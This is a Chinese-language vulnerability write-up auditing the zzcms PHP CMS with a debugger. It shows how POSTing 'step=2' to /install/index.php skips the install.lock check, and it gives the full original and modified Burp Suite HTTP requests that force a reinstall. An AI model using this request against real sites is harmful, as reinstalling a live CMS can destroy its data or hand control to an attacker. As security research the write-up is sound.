漏洞点zzcms.com/install/index.php
附加调试器,访问:http://www.zzcms.com/install/index.php?XDEBUG_SESSION_START=16156(XDEBUG_SESSION_START是调试器附加的)访问结果如下图:
根据页面回显信息,keyword是:/install/install.lock文件,回到index.php代码,索引这个字段,发现0 found
试试全局find,结果如下
发现页面先前回显的内容完整的在step_1.php文件中出现,可能是install/index.php包含了step_1.php这个文件
粗看step_1.php代码:
if(file_exists("install.lock")){
echo "安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件";
}else{
//略
}
即判断install.lock文件是否存在,存在则说明安装过zzcms了,正常操作则需要将网站目录下的install.lock文件删除才能重装该cms,本文的目的也是bypass这个限制,在不删除该文件,bypass机制达到重装cms的目的,破坏力还是挺大的
言归正传,经调试install/index.php:
发现正常的执行流程会使得变量$step=1
回看install/index.php代码,发现关键代码:
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2'://环境
//省略部分代码...
}
可以看出,代码通过switch对变量$step进行了分支选择,当$step=1时将step_1.php文件进行包含,而step_1.php中完整的回显了../install/index.php访问时出现的“安装向导已运行安装过,如需冲安装,请删除/install.lock文件”的字段,一旦step_1.php被包含,则执行流程会最终执行session_write_close();终止会话...显然违背目的,找找bypass的方法,审计代码:
在install/index.php下回溯变量$_step的赋值过程,发现12处mention变量$step,其中去除不可控的部分,定义点位置代码如下:
$step = isset($_POST['step']) ? $_POST['step'] : 1;
使用三目运算符,判断$_POST的step字段是否设置,true则$step=my_code(post的内容),否则$step=1。
综上,bypass方法是post方式提供step字段不为1,则不会将包含“安装向导已运行安装过,如需冲安装,请删除/install.lock文件”的step_1.php文件,switch的case2 则是zzcms的安装流程。
思路理清楚了,祭出burpsuite
原始报文:
GET /install/index.php?XDEBUG_SESSION_START=19536 HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: XDEBUG_SESSION=16574; PHPSESSID=125bbd91de6d4c6c1656cf9aa6332c20
Connection: close
修改后:
POST /install/index.php?XDEBUG_SESSION_START=19536 HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: XDEBUG_SESSION=16574; PHPSESSID=125bbd91de6d4c6c1656cf9aa6332c20
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
step=2
由调试器捕获到的内容:
抓包修改,由post提交step字段值为2,使得高亮的三目运算符取$step=2,接着调试:
成功bypass,后边调试器放行,回到浏览器: